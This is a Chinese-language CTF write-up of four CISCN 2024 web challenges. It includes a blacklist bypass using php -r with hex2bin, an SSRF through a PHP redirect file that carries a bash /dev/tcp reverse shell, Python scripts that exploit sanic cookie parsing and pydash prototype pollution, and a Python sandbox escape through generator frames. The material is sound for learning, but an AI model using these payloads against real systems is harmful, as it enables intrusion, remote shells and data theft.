ciscn24

simple_php

simple_php: 思路流程

  1. 命令执行黑名单

  2. S1: 先列出有哪些命令可以用,这里还是靠经验

    1. 就拼凑思路上来说,过滤太多又不回显是比较难拼凑的,搭个本地环境可以测试,用docker搭建比较好

      1
      2
      3
      4
      # 不太行
      -
      base32
      rev
  3. 过滤有点多,先考虑编码绕过,shell的编码函数被ban了,有没有别的编码函数?php里有,怎么在shell中使用php?php -r,ok

  4. escapeshellcmd的影响,似乎有再套一层字符串,那就不是影响了再字符串里,找一下编码有hexo2bin(),构造一下payloadphp -r system(hex2bin(6c73));

    1. 报错,思路应该可以是这个,但是报错了Parse error: syntax error, unexpected 'c73202d6c' (T_STRING), expecting ')' in Command line code on line 1,查了一下加自己思考感觉可能是变成数字了,现在只要解决这个问题就可以执行了
    2. 经过测试可以使用0x表示十六进制,但是会转换成十进制,这里需要将数字->字符串,强制转换行不?可行,不过需要**非数字开头(这个点要敏感点)**,使用截取
      1. 十进制短命令运行法(本地通,远不同): 一开始总是用进制转换去解决php -r system(hex2bin(dechex(strval(27763))));,处理后是php -r system\(hex2bin\(dechex\(strval\(27763\)\)\)\)\;,不失为一种办法,虽然后面发现了对长度有限制,总之思路的还是很重要的,先选简单的
  5. 这样就可以执行任意命令了,payload: cmd=php -r system(hex2bin(substr(a6c73,1)));

  6. 本地找不到flag文件,并且环境变量中也没有,考虑数据库,cat /etc/passwd

  7. 发现mysql,我们当前用户为www-data,还有知道一个root,试一试有没有机会,最终在mysql -u www-data;echo $?成功获取返回0,妙

    1. mysql后面就是,root用户试一下,www-data里的test是空的不行mysql -u root -p'root' -e "use PHP_CMS;select * from Flag_jdjvn"这样转成hex然后执行

simple_php: 核心要点

  1. 重要的是深入细化问题

    1. 什么对什么的什么做了什么事情,比如黑名单对bash的编码进行了过滤,就可以考虑使用php中的来实现
  2. 对于过滤问题

    1. 注意到escpaeshellcmd作用的原理是添加\,传入cmd后作为字符串并不会有影响,这里只是防止绕过在本php页面处理而已,仍然可以使用那些字符,其实可以转为绕过引号的在shell里

    2. 可以列一下哪些常用命令还可以用

      1
      2
      3
      4
      5
      -
      php
      rev
      paste
      base32
  3. 命令执行->代码执行->命令执行现在是一个普遍的知识点了

  4. 数据库有些也是考察的内容,flag藏在里面

    1. 哪里能藏东西?环境变量,然后就是数据库了
  5. mysql可以非交互式地进行查询,参数可以看文档/搜索/–help猜-e

  6. 坑点

    1. mysql -u root -p'root'中的p后不能有空格
    2. 对于跑不通的命令比赛就别死磕了,试试别的思路,比如这里本地通ctfsow不通

easycms

easycms: 思路

看起来又像是信息题?

  1. 失败的尝试
    1. github种的readme看后,有test.php
    2. 没有具体的思路方向来呜呜,看题解 –> ?admin.php可以访问到啊,ctfshow是不是没有整理干净啊,算了
  2. 复现
    1. dirsearch开扫,有Readme.txt,后台没法爆破36乃至更多的四次方,有点难搞了,需要一个无需后台验证的方法,并且可以打ssrf到flag.php那里,可以任意命令执行
    2. test.php种有版本信息
      pic
    3. 找找历史漏洞,官网/github上的issue这些,关键词:漏洞,vul,bug
      1. [https://www.xunruicms.com/bug/]
    4. 有一个可疑的ssrf?**直接搜qrcode,有一个dr_qrcode()**,看看文档
      pic
    5. clone个源码,并看着文档来审一下[https://www.xunruicms.com/doc/203.html]
    6. 先暂时停留在这里吧?s=api&c=api&m=qrcode&thumb=&text=xxxx:9999/1.php&size=5&level=H
  3. 时隔n天,我回来了,把php环境搞清楚了
    1. 这里加个GIF89a

    2. Docker起个服务302外力使其跳转,先?s=api&c=api&m=qrcode&thumb=&text=http://xxxx:9999/1.php&size=5&level=H注意要http://xxxx:9999

      1. 注意header之前不能有输出,ai说的
      2. 可以加个日志来实现自动记录
      1
      2
      3
      4
      5
      6
      7
      8
      <?php
      // 反弹shell
      $cmd=urlencode("bash -i >& /dev/tcp/xxx/9999 0>&1");
      $evil = "Location: http://127.0.0.1/flag.php?cmd=".$cmd;
      // 设置重定向头信息
      header($evil);
      ?>
      GIF89a
    3. 这里ctfshow搞不出来,看了网上大家都这样

easycms: 总结

  1. 搜索+推断,这里qr_code的定位可以依赖于Api文档/api文件,一般会是入口
  2. 可以使用302跳转强制ssrf

sanic

sanic: 思路

  1. 尝试

    1. 有源码,很明显的lower绕过加原型链污染
    2. 又完damn了,网上找不到一点信息,很明显的lower眼前怎么就过不了呢?
  2. 题解wp环节

    1. 原来要源码,网上找不到就看看源码吧

    2. 在输入端似乎无法搞动作,看看**接收端的解析规则(一入一出很合理啊)**,进到sanic去看看

      1. login的解析对象request是谁,打印出来看看,这一看不要紧,原来是<class 'sanic.request.types.Request'>,不错,有入口了

      2. 再对于模块中找到cookie,在一步一步深入,发现了以下这段代码(找到和wp一样的了),还是要审细一点,看漏了耽搁了半小时wc

        1. 第一个用来过滤特殊的字符
        2. 允许八进制\077这样
        3. [\\]:匹配反斜杠。.:匹配任意单个字符(除了换行符
        4. 结论: 需要使用引号包裹八进制字符来绕过session的检查
        1
        2
        3
        4
        5
        6
        # 分析链
        print(request) # 在/login中加的,用于判断类型<class 'sanic.request.types.Request'>
        def cookies(self) -> RequestParameters: # pycharm中可以搜索sanic.request.types.Request
        self.get_cookies()
        self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie)) # 进入到parsed_cookie中
        value = _unquote(value)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        COOKIE_NAME_RESERVED_CHARS = re.compile(
        '[\x00-\x1f\x7f-\xff()<>@,;:\\\\"/[\\]?={} \x09]'
        )
        OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
        QUOTE_PATTERN = re.compile(r"[\\].")

        # !!! 关键的调用处如下
        if COOKIE_NAME_RESERVED_CHARS.search(name): # no cov
        continue

        if len(value) > 2 and value[0] == '"' and value[-1] == '"': # no cov
        value = _unquote(value) # 在_unquote中才有对OCTAL_PATTERN和QUOTE_PATTERN的引用
    3. 绕过;后现在有需要搞_.的绕过了,查查资料,不行看源码吧

      1. 这里的目标应该可以是/src的__file__,也就是修改全局变量的方式,那能到哪里去呢?任意文件读取,/proc/1/environ,应该就这里,感觉到不了rce

      2. 绕过

        1. 这里网上找不到,看看解析的源码,pydash5.1.12中的,重点关注路径那里就ok了
        2. 真找到了
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        RE_PATH_LIST_INDEX = re.compile(r"^\[\d+\]$")
        # 结合过滤在python中使用"_\\\\."来进行绕过
        RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")

        def to_path_tokens(value):
        """Parse `value` into :class:`PathToken` objects."""
        if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
        PathToken(int(key[1:-1]), default_factory=list)
        if RE_PATH_LIST_INDEX.match(key)
        else PathToken(unescape_path_key(key), default_factory=dict)
        for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
        elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
        elif value is UNSET:
        keys = []
        else:
        keys = value

        return keys
    4. 最终payload与分析链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 分析链
    pydash.set_(pollute, key, value)
    return set_with(obj, path, value)
    return update_with(obj, path, pyd.constant(value), customizer=customizer)
    tokens = to_path_tokens(path) # 这一步敏感,因为我们的目的就是path的解析
    keys = [
    PathToken(int(key[1:-1]), default_factory=list)
    if RE_PATH_LIST_INDEX.match(key)
    else PathToken(unescape_path_key(key), default_factory=dict)
    for key in filter(None, RE_PATH_KEY_DELIM.split(value))
    ]
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import requests

    host = "http://e4630784-9448-45a8-9d3c-65652b721aaf.challenge.ctf.show/"
    route1 = "login/"
    route2 = "admin/"
    route3 = "src/"

    proxies = {
    "http": "http://127.0.0.1:8080",
    }

    # 创建一个 Session 对象
    session = requests.Session()

    # 设置初始的 cookies
    session.cookies.set('user', '"adm\\073n"') # 要有引号包起来

    # 1. 发送带有特定 cookie 的 GET 请求到 login 路由
    r = session.get(host + route1, proxies=proxies)
    print("[1]----------")
    print(r.text)
    print()

    # 2. 发送 POST 请求到 admin 路由,包含特定的 json 数据
    path_data = {
    "key": "__init__\\\\.__globals__\\\\.__file__",
    "value": "/proc/1/environ",
    }

    print("[2]----------")
    try:
    r = session.post(host + route2, json=path_data, timeout=5.0, proxies=proxies)
    print(r.status_code)
    except requests.exceptions.Timeout:
    print("[!]time out")

    # 3. 发送 GET 请求到 src 路由并获取文本
    r = session.get(host + route3, proxies=proxies)
    print("[3]----------")
    print(r.text)

sanic: 不对没有这么简单

上面说到在ctfshow中可以/proc/1/environ读到flag,但是看wp说现实中是不行的

  1. 不同的点:实际情况中无法猜测到flag的所在位置,必须进一步解决

  2. 重要的还是思想,这里应该是无法rce?有目录就很容易了,可以任意读文件

    1. 看看static吧,就剩这一个切入口了,搜索魅力时刻到了,“sanic获取static的可视化目录界面”,发现directory_view,如果可以还可以污染指定为别的目录进行查看,无敌了,先解决view吧

    2. 这里能做到的就是污染了,现在能做到就是污染,写写污染链子,艹,失败了,但还是有学到的

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      self._apply_static(static)/self._future_statics.add(static) # 一开始就两个?问题不大,先看static
      _future_statics
      directory_handler
      directory_view

      # 尝试的payload
      payload = {
      "key":"__init__\\\\.__globals__\\\\.Sanic._future_statics.directory_handler.directory_view",
      "value":"True",
      }
  3. 看别人wp+调试的payload

    1. 注意json可以传递对应的值,所以要对应类型比如布尔的true这些
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    import requests

    host = "http://localhost:5555/"
    # host="http://f6642576-3813-4cd6-ae6f-7a6dc692a220.challenge.ctf.show/"
    route1 = "login/"
    route2 = "admin/"
    route3 = "src/"
    route4 = "static/"

    proxies = {
    "http": "http://127.0.0.1:8080",
    }

    # 创建一个 Session 对象
    session = requests.Session()

    # 设置初始的 cookies
    session.cookies.set('user', '"adm\\073n"')

    # 1. 发送带有特定 cookie 的 GET 请求到 login 路由
    r = session.get(host + route1, proxies=proxies)
    # r = session.get(host + route1)
    print("[1]----------")
    print(r.text)
    print()


    # 2. 构造污染payload
    directory_view = {
    # "key":"__init__\\\\.__globals__\\\\.app.router.name_index['__mp_main__'].static.handler.keywords['directory_handler'].directory_view", # 这个不行,[]只能识别数字的,也就是索引
    # "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory_view", # 这个也不行,这里就是不要他们转义,是同一个变量名,可以下断点
    "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
    "value": True,
    }

    r = session.post(host+route2,json=directory_view,timeout=5,proxies=proxies)
    # r = session.post(host+route2,json=directory_view,timeout=5)
    print("[2]----------")
    print(r.text)
    print()

    path_payload = {
    "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts",
    "value": ["/"],
    }

    r = session.post(host+route2,json=path_payload,timeout=5,proxies=proxies)
    print("[3]----------")
    print(r.text)
    print()

    r = session.get(host+route4,timeout=5,proxies=proxies)
    print("[4]----------")
    print(r.text)
    print()

sanic: 核心要点

  1. 我嘞个源码题,疯狂看源码,但是思考的思路还是有要求的
    1. 网上查不到就看源码,并且抓住要点,比如污染的绕过需要的是路径的解析
    2. 输入无法做手脚就从解析做手脚

mossfirn

mossfirn: 思路

  1. 看mossfirn源码显然是flask沙箱,哪里有亮点呢?
    1. 使用subprocess运行命令
    2. 会将flag和id注入到运行的文件中,只要获取到flag就够了,但是这里id有什么用?
  2. 可控输入源:{id}.txt,可以获取json数据中的code
  3. 捋一捋思路
    1. 运行runner.py时会进行字面特殊字符检查,字节码检查和特殊调用检查,这些都需要进行绕过
    2. 返回时还有一部分检查,这部分容易,直接进行编码或者断开返回即可了
    3. 现在的关键目标:读取到外部的flag然后进行返回编码值
  4. 急急急急急
    1. 搜啊搜,感觉网上的题和这里不太符合啊,都是那种链子,难道还要源码
    2. 切换一下思路,围绕“python exec中获取外部变量目的的沙盒逃逸”这个进行提问,有发现了一个栈帧逃逸的,看看
      1. 还在找到了一个L3Hctf的题目很像,wc那他们不是薄纱

      2. 还是要慢下来看才可以,能出就好了,急干嘛?

      3. 看讲解说是next在内置函数被禁掉了,需要用列表表达式for语句获取,本地测试如下,有几个点说一下啊

        1. 点1: 一个gi_frame会停在函数执行完毕的行数
        2. 点2: 套了多少函数就要跳多少次,比如这里要跳到main里,需要__main__<-quote_caller<-f两个箭头跳两次
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        flag="you got me!"
        def quote_caller():
        def f():
        yield g.gi_frame

        g=f()
        frame=[x for x in g][0]
        print(frame.f_back.f_back.f_locals['flag'])

        quote_caller() # 成功获取到
      4. 这样之后就是直接往上走再读flag的情况了,找字面量这些就ok了,这里有些坑点

        1. 访问的路由需要是/run而不能是/run/,第二个返回404
        2. 这里生成器要返回g.gi_frame.f_back才可以,如果直接返回g.gi_frame不可以,这里的细节放到另一篇博客里再讲《python栈帧沙箱逃逸》
        3. 这里的next()由于__builtins__无法直接调用,所有需要使用列表表达式进行绕过
        4. 一开始遇到了LOAD_GLOBALS问题,搜不到,顾名思义,这里使用了global的的变量,在对应的op.txt文件中检查触发点,只有一个,让他变成局部的,所以加多了一层wrapper
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        65
        66
        import requests
        from dis import dis
        from builtins import str
        from io import StringIO
        from sys import exit



        host="http://2b531651-5e31-4c7e-9a9f-42e1c62b5b8b.challenge.ctf.show/"
        route="run"
        # proxies={
        # "http": "http://localhost:8080",
        # }

        payload=\
        """\
        def wrapper():
        def evil_generator():
        yield g.gi_frame.f_back

        g=evil_generator()
        frame = [x for x in g][0]
        # print(frame)
        # print(frame.f_back)
        # print(frame.f_back.f_back)
        # print(frame.f_back.f_back.f_back)
        func = frame.f_back.f_back.f_back.f_globals['_'+'_builtins_'+'_'].str
        res = frame.f_back.f_back.f_back.f_code.co_consts
        for i in func(res):
        print(i+",",end="")

        wrapper()
        """
        print("[+] constructing payload")
        print(payload)

        opcodeIO = StringIO()
        dis(payload, file=opcodeIO)
        opcode = opcodeIO.getvalue().split("\n")
        opcodeIO.close()
        print("[+] disassembling payload to op.txt")
        if open("/home/kc1zs4/Code/CTF/op.txt", "w").write("\n".join(opcode)):
        print("[+] op.txt saved")
        else:
        print("[!] failed to save op.txt")
        for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
        if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
        break
        print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
        exit()



        session = requests.Session()

        # 1. 发送payload
        r = session.post(host+route,timeout=5,json={
        "code": payload,
        })
        print("[+] get resp")
        print(r.text)

        # 截取到我们的目标后就把,去掉就好
        for i in answer.split(","):
        print(i,end="")

mossfirn: 要点

  1. 比较考验实时搜搜的能力,秘塔是个好ai啊